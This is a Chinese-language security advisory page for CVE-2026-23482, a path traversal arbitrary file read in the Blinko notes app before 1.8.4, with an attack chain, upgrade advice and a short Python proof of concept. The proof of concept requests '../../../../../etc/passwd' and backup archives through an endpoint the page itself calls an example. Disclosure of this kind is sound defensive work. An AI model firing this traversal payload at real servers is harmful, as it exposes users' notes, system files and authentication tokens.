IPBUF安全漏洞报告
English
CVE-2026-23482 CVSS 7.5 高危

CVE-2026-23482 Blinko 任意文件读取漏洞

披露日期: 2026-03-23

漏洞信息

漏洞编号
CVE-2026-23482
漏洞类型
路径遍历
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Blinko

相关标签

路径遍历任意文件读取Blinko信息泄露CWE-22

漏洞概述

Blinko是一个AI驱动的卡片式笔记项目。在1.8.4版本之前,其文件服务器端点针对`temp/`路径未实施权限检查,且未对路径遍历序列进行过滤。这导致未经身份验证的攻击者能够读取服务器上的任意文件。特别是在启用计划备份任务的情况下,攻击者可读取备份文件,进而窃取所有用户笔记及敏感TOKEN。该漏洞已在1.8.4版本中得到修复。

技术细节

该漏洞的根本原因在于Blinko的文件服务器处理逻辑存在缺陷。具体而言,在处理针对`temp/`目录的请求时,系统未验证请求者是否具备相应的访问权限,同时未对用户输入的文件路径进行规范化处理或过滤特殊字符(如`../`)。攻击者可以通过构造恶意HTTP请求,利用路径遍历技术(如`../../`)跳出原本受限的`temp/`目录,访问操作系统的其他任意位置。由于系统支持备份功能,攻击者可定向定位备份文件路径(通常是数据库转储或归档文件),下载并解析这些文件以获取存储在数据库中的用户笔记内容及身份验证令牌(TOKEN),从而导致严重的数据泄露。

攻击链分析

STEP 1
1. 信息收集
攻击者识别出目标运行的是Blinko应用,且版本低于1.8.4。
STEP 2
2. 漏洞利用
攻击者向文件服务器端点发送请求,在路径参数中注入'../'序列,尝试绕过目录限制。
STEP 3
3. 读取敏感文件
攻击者成功访问服务器文件系统,定位并读取包含用户笔记和TOKEN的备份文件。
STEP 4
4. 数据窃取
攻击者解析获取的备份文件,提取敏感数据(如用户Token),并可能利用这些凭证接管用户账户。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Example) target_url = "http://target-ip:port" # Vulnerable endpoint example (based on description of temp/ path) # The vulnerability allows reading arbitrary files via path traversal malicious_path = "../../../../../etc/passwd" # Or targeting backup files as mentioned in the description # malicious_path = "../../backups/backup.zip" url = f"{target_url}/api/file?path={malicious_path}" try: response = requests.get(url) if response.status_code == 200: print("[+] Exploit successful! File content found.") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

影响范围

Blinko < 1.8.4

防御指南

临时缓解措施
建议立即升级至Blinko 1.8.4或更高版本。如果无法立即升级,请暂时禁用对文件服务器端点的外部访问,并关闭计划备份任务功能,以降低敏感数据泄露的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表